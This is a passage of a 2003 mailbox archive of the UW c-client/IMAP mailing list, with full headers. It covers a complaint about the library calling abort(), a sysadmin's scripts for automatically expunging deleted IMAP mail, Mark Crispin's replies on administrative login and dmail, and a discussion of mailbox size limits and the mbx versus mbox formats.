(invoked by user mailnull) for mailarch+c-client; Fri, 19 Sep 2003 12:45:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8JJj3ul009614 for ; Fri, 19 Sep 2003 12:45:03 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8JJj1Nf021052 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 19 Sep 2003 12:45:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8JJiu8p015258; Fri, 19 Sep 2003 12:44:56 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8JJeevY052812 for ; Fri, 19 Sep 2003 12:40:40 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu5.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8JJedhV017014 for ; Fri, 19 Sep 2003 12:40:39 -0700 Received: from 127.0.0.1 (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with SMTP id 9790E4B9AF2 for ; Fri, 19 Sep 2003 14:42:14 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 875B74B9AF7; Fri, 19 Sep 2003 14:42:14 -0500 (CDT) Received: from redhook (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with SMTP id 60F4A4B9AF2 for ; Fri, 19 Sep 2003 14:42:12 -0500 (CDT) Message-Id: <007401c37ee5$e5d57cd0$6f03a8c0@redhook> Date: Fri, 19 Sep 2003 14:40:36 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: Subject: A library does NOT call abort()!!! MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0071_01C37EBB.FCD641F0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Status: No, hits=-4.3 required=5.0 tests=BAYES_01,PLING_PLING,UPPERCASE_25_50 version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Uwash-Spam: Gauge=XXIII, Probability=23%, Report='PLING_PLING, PRIORITY_NO_NAME, __CT, __CTYPE_HAS_BOUNDARY, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_VERSION, __NEXTPART_ALL, __NEXTPART_NORMAL, __OUTLOOK_MSGID_1, __PLING_PLING, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0071_01C37EBB.FCD641F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Why is the c-client library calling abort()? A library should NEVER abort that cause a program to crash. If there is an error that is either a user error or system error, the function need to handle the error and return "nicely" and let the user that is writing the application to deal with the error. Shawn ------=_NextPart_000_0071_01C37EBB.FCD641F0 Content-Type: text/x-vcard; name="Shawn Walker.vcf" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Shawn Walker.vcf" BEGIN:VCARD VERSION:2.1 N:Walker;Shawn FN:Shawn Walker ORG:Bynari TITLE:Senior Software Developer TEL;WORK;VOICE:214-350-5772 x29 TEL;WORK;FAX:214-352-3530 ADR;WORK;ENCODING=3DQUOTED-PRINTABLE:;214-350-5772 x29;2639 Electronice = Lane=3D0D=3D0ASuite 110;Dallas;TX;75220;USA LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:214-350-5772 x29=3D0D=3D0A2639 = Electronice Lane=3D0D=3D0ASuite 110=3D0D=3D0ADallas, TX 7=3D 5220=3D0D=3D0AUSA EMAIL;PREF;INTERNET:swalker@bynari.net REV:20030919T194036Z END:VCARD ------=_NextPart_000_0071_01C37EBB.FCD641F0 Content-Type: text/ignore; charset=US-ASCII; name="SecurityCheck.txt" Content-Disposition: inline This e-mail was scanned by RAV Antivirus. (www.ravantivirus.com) ------=_NextPart_000_0071_01C37EBB.FCD641F0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 22 07:24:28 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Sep 2003 07:24:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8MEOSul018182 for ; Mon, 22 Sep 2003 07:24:28 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8MEOQtm003903 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 22 Sep 2003 07:24:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8MEOLJv041220; Mon, 22 Sep 2003 07:24:21 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8MEJnvY061404 for ; Mon, 22 Sep 2003 07:19:51 -0700 Received: from web.savagewood.net (c-24-98-43-77.atl.client2.attbi.com [24.98.43.77]) by mxu1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8MEJgXF021349 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 22 Sep 2003 07:19:48 -0700 Received: from file.savagewood.net ([192.168.1.15]) (authenticated bits=0) by web.savagewood.net (8.12.5/8.12.5) with ESMTP id h8MEJg69029295 for ; Mon, 22 Sep 2003 10:19:43 -0400 Message-Id: <1064240388.1180.90.camel@lovemaster.savagewood.net> Date: Mon, 22 Sep 2003 10:19:48 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Travis Beal To: c-client@u.washington.edu Subject: Automated IMAP Expunge Content-Type: text/plain Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am sysadmin of a small mail server with around 15 users, about half of which maintain IMAP mailboxes (vice pop). I am running Red Hat 8 distro, with the IMAP (which is believe is UW IMAP) right out of the box. My users are uneducated/uninterested in expunging their email instead of just deleting it, and a lot of server space is taken up with deleted email that is never expunged. Quotas are not a good option because my users receive rather large attachments. Also, they are not computer literate enough to grasp the concept and need of delete vs. delete/expunge, despite my best efforts at education. Regrettably, many of them use Outlook, which does not offer an expunge on exit option. I would like to execute a script as a cron task to find all IMAP mail boxes and expunge deleted mail. I have written the two scripts below. The first is a script to generate the list of mailboxes and then call the second. The second is a perl script that actually expunges the boxes. This solution does not work because I cannot log into the IMAP server as root, and I can't extract each user's password to log on as each user. Is there a method for automatically expunging deleted mail from an IMAP server? Thanks. Travis Beal ======================================== SCRIPT 1: #!/bin/bash #broadcast stop echo 'Starting purge of folders.' date #stop internet services /etc/init.d/httpd stop /etc/init.d/sendmail stop /etc/init.d/xinetd stop #generate list of IMAP mailboxes ls /home/*/.mailboxlist > /root/listofmailboxlists #Perl purge script /root/purge_folders_perl #start services /etc/init.d/xinetd start /etc/init.d/sendmail start /etc/init.d/httpd start #remove the list rm -rf /root/listofmailboxlists #broadcast echo 'Purge of folders complete.' date ======================================== SCRIPT 2: #!/usr/bin/perl #get the IMAP tools use Mail::IMAPClient; print "Entering Perl section.....\n"; #read only open this list of mailbox lists open (LISTOFMAILBOXLISTS, " ){ #load next line in file chop; #parse out next data file ($mailboxlisttoscan) = split (/\n/, $_); #debug print "Next is $mailboxlisttoscan.\n"; #get absolute address prefix ($file_prefix,$junk) = split (/\/.mailbox/,$mailboxlisttoscan); #parse out user_name ($trash, $user_name) = split (/ome\//,$file_prefix); # (returns a new, authenticated Mail::IMAPClient object) $host = "127.0.0.1"; $id = "$user_name"; $pass = "?????????"; $imap = Mail::IMAPClient->new( Server => $host, User => $id, Password=> $pass, ) or die "Cannot connect to $host as $id: $@"; #read only open this mailbox list open (MAILBOXLIST, "<$mailboxlisttoscan"); #go through this list while( ){ #load next line in file chop; #parse out based on CSV ($mailboxtopurge) = split (/\n/, $_); #debug print "Purging $mailboxtopurge for user $user_name.\n"; $imap->expunge($file_prefix/$mailboxtopurge) or die "Could not expunge: $@\n"; } #end of mailboxlists while close (MAILBOXLIST); } #end of listofmailboxlists while close (LISTOFMAILBOXLISTS); print "Exiting Perl section.\n"; -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 22 09:33:50 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Sep 2003 09:33:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8MGXnul023324 for ; Mon, 22 Sep 2003 09:33:50 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8MGXlNf004412 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 22 Sep 2003 09:33:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8MGXfJv004212; Mon, 22 Sep 2003 09:33:41 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8MGVBvY053406 for ; Mon, 22 Sep 2003 09:31:11 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu7.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8MGVAgY021210 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 22 Sep 2003 09:31:10 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout3.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8MGUu4q027534; Mon, 22 Sep 2003 09:30:56 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.06) with ESMTP id h8MGUuIP006455; Mon, 22 Sep 2003 09:30:56 -0700 Message-Id: Date: Mon, 22 Sep 2003 09:30:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Travis Beal Cc: c-client@u.washington.edu, travis_beal@hotmail.com Subject: Re: Automated IMAP Expunge In-Reply-To: <1064240388.1180.90.camel@lovemaster.savagewood.net> References: <1064240388.1180.90.camel@lovemaster.savagewood.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I don't know if "spambin" is your real email address or not, but your hotmail address is listed as your whois contact. On Mon, 22 Sep 2003, Travis Beal wrote: > This solution does not work because I cannot log into the IMAP > server as root, and I can't extract each user's password to log on as > each user. A user in the "mailadm" group can log in as any other user. In SASL mechanisms such as PLAIN, you can use the mailadm-group userid as the authentication identity, and the target userid as the authorization identity. In the LOGIN command, use * as the LOGIN userid. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 23 13:18:03 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Sep 2003 13:18:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKI2ul025555 for ; Tue, 23 Sep 2003 13:18:02 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKI0tm005010 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 23 Sep 2003 13:18:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8NKHsJv028352; Tue, 23 Sep 2003 13:17:55 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKGEvY015010 for ; Tue, 23 Sep 2003 13:16:14 -0700 Received: from hotmail.com (law11-f88.law11.hotmail.com [64.4.17.88]) by mxu2.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKGDuJ026368 for ; Tue, 23 Sep 2003 13:16:13 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 23 Sep 2003 13:16:12 -0700 Received: from 63.206.204.3 by lw11fd.law11.hotmail.msn.com with HTTP; Tue, 23 Sep 2003 20:16:12 GMT Message-Id: Date: Tue, 23 Sep 2003 13:16:12 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Bob Smith" To: c-client@u.washington.edu Subject: dmail maximum mailbox size Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [63.206.204.3] X-Originating-Email: [b_smith44@hotmail.com] X-OriginalArrivalTime: 23 Sep 2003 20:16:12.0833 (UTC) FILETIME=[88D5A910:01C3820F] X-Uwash-Spam: Gauge=XIIIIIIII, Probability=18%, Report='FROM_ENDS_IN_NUMS, FROM_HAS_ULINE_NUMS, LIMITED_TIME_ONLY, SIGNATURE_SHORT_DENSE, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __FROM_HAS_UNDERLINE_NUMS, __HAS_MSGID, __HAS_MSN_FROM, __HAS_MSN_ORIG_EMAIL, __HAS_MSN_RCVD_DAV, __HAS_XOAT, __HAS_XOIP, __MIME_VERSION, __OUTLOOK_MSGID_2, __RCVD_BY_HOTMAIL, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN dmail seems to stop working properly when my mailbox size hits 50MB. i have procmail configured to use dmail to deliver to my inbox, when the mailbox hits 50MB it stops growing which corrupts the mailbox. once the mailbox is full dmail delivers to temp files in the same directory as the mailbox. i am currently using dmail from the imap-2002e distribution. i have seen this behavior from imap-2001a dist as well. my host platform is solaris 8 SPARC. any help would be appreciated. _________________________________________________________________ Get MSN 8 Dial-up Internet Service FREE for one month. Limited time offer-- sign up now! http://join.msn.com/?page=dept/dialup -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 23 13:29:31 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Sep 2003 13:29:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKTUul026213 for ; Tue, 23 Sep 2003 13:29:30 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKTSNf001653 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 23 Sep 2003 13:29:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8NKTL8p004658; Tue, 23 Sep 2003 13:29:21 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKS5vY054196 for ; Tue, 23 Sep 2003 13:28:05 -0700 Received: from linoleic.hodulik.com ([66.54.159.140]) by mxu3.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKS3pm024476 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 23 Sep 2003 13:28:03 -0700 Received: from winbitch (adsl-67-118-121-204.dsl.snfc21.pacbell.net [67.118.121.204]) (authenticated bits=0) by linoleic.hodulik.com (8.12.10/8.12.9) with ESMTP id h8NKR9pk027736; Tue, 23 Sep 2003 13:27:14 -0700 Message-Id: <030e01c38211$6f935f90$6501a8c0@winbitch> Date: Tue, 23 Sep 2003 13:29:47 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nick Hodulik" To: "Bob Smith" , Subject: Re: dmail maximum mailbox size References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='LIMITED_TIME_ONLY, PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_VERSION, __OUTLOOK_MSGID_1, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have been using dmail on various flavors of Linux for several years now and have never gotten this problem. I HAVE had this problem when delivering into mbox format-- at more than 50MB it just doesn't work. The problem in fact created the need to switch to dmail and mbx in the first place. Speaking of which, I have always wondered why mbx isn't the default format for mail delivery "out of the tarball" and instead have mbox need to be manually switched on instead of vice versa. Every time a new version of UW-IMAP come out I have to delve into the code and manually switch everything to mbx. The UW docs do everything but state that mbx is the uber-format for mail and that mbox sucks, which is the truth. Why not lead the charge here? n ----- Original Message ----- From: "Bob Smith" To: Sent: Tuesday, September 23, 2003 1:16 PM Subject: dmail maximum mailbox size > dmail seems to stop working properly when my mailbox size hits 50MB. i have > procmail configured to use dmail to deliver to my inbox, when the mailbox > hits 50MB it stops growing which corrupts the mailbox. once the mailbox is > full dmail delivers to temp files in the same directory as the mailbox. > > i am currently using dmail from the imap-2002e distribution. i have seen > this behavior from imap-2001a dist as well. my host platform is solaris 8 > SPARC. > > any help would be appreciated. > > _________________________________________________________________ > Get MSN 8 Dial-up Internet Service FREE for one month. Limited time offer-- > sign up now! http://join.msn.com/?page=dept/dialup > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > > -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 23 13:34:28 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Sep 2003 13:34:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKYRul026508 for ; Tue, 23 Sep 2003 13:34:27 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKYQtm005670 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 23 Sep 2003 13:34:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8NKYMJv018030; Tue, 23 Sep 2003 13:34:22 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKXWvY043974 for ; Tue, 23 Sep 2003 13:33:32 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu4.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKXUTY024681 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 23 Sep 2003 13:33:31 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKXR4q030883; Tue, 23 Sep 2003 13:33:27 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.09/8.12.9+UW03.06) with ESMTP id h8NKXQI8023175 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 23 Sep 2003 13:33:26 -0700 Message-Id: Date: Tue, 23 Sep 2003 13:33:26 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bob Smith Cc: c-client@u.washington.edu Subject: Re: dmail maximum mailbox size In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 23 Sep 2003, Bob Smith wrote: > dmail seems to stop working properly when my mailbox size hits 50MB. i have > procmail configured to use dmail to deliver to my inbox, when the mailbox > hits 50MB it stops growing which corrupts the mailbox. once the mailbox is > full dmail delivers to temp files in the same directory as the mailbox. There is no 50MB limit in dmail; however, dmail does collect the incoming message to a tmpfile(), which is typically (depends upon your C library) written to /tmp, /usr/tmp, or /var/tmp. If dmail is unable to write the entire message to the tmpfile(), it returns EX_TEMPFAIL to the calling program. Only after successfully collecting the entire incoming message into the tmpfile() will dmail even start to deliver the message to the mailbox. Mail delivery is atomic with no partial delivery; it either completes in entirely or fails entirely. There is no mechanism in dmail to "deliver to temp files in the same directory as the mailbox." At least, there is not in the distribution version. If you are using a third-party patched version, e.g. one with a maildir format driver, that may be a different story. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 23 13:43:41 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Sep 2003 13:43:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKheul027039 for ; Tue, 23 Sep 2003 13:43:40 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKhcNf002223 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 23 Sep 2003 13:43:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8NKhX2b030628; Tue, 23 Sep 2003 13:43:33 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKgfvY061244 for ; Tue, 23 Sep 2003 13:42:41 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKgdXF025399 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 23 Sep 2003 13:42:40 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8NKgXQk025325; Tue, 23 Sep 2003 13:42:33 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.09/8.12.9+UW03.06) with ESMTP id h8NKgWI8023965 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 23 Sep 2003 13:42:32 -0700 Message-Id: Date: Tue, 23 Sep 2003 13:42:32 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nick Hodulik Cc: Bob Smith , c-client@u.washington.edu Subject: Re: dmail maximum mailbox size In-Reply-To: <030e01c38211$6f935f90$6501a8c0@winbitch> References: <030e01c38211$6f935f90$6501a8c0@winbitch> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 23 Sep 2003, Nick Hodulik wrote: > I HAVE had this problem when delivering > into mbox format-- at more than 50MB it just doesn't work. This is the first that I have ever heard about such a problem. Note that the traditional UNIX format append procedure also needs to write to a tmpfile(). This is because the traditional UNIX format has a 5 minute timeout on the write-lock. If multiple messages are being appended in the same operation, the entire sequence can take more than 5 minutes, causing the lock to be lost. By collecting the entire multi-message append first, the traditional UNIX format append procedure can minimize the period that it has the lock. Thus, when going through dmail you need 150MB of free disk space to deliver a 50MB message to a traditional UNIX format mailbox. I will leave aside the fundamental issue that it is insane to use traditional UNIX format mailboxes for 50MB messages. > Speaking of which, I have always wondered why mbx isn't the default format > for mail delivery "out of the tarball" and instead have mbox need to be > manually switched on instead of vice versa. For better or worse, traditional UNIX format is the default format for mailboxes on UNIX. This is not something that I have the authority to change. The design of UW imapd is that it works out-of-the-box in a traditional UNIX environment without requiring any changes. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 23 17:05:36 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Sep 2003 17:05:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O05aul006238 for ; Tue, 23 Sep 2003 17:05:36 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O05YNf011239 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 23 Sep 2003 17:05:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by 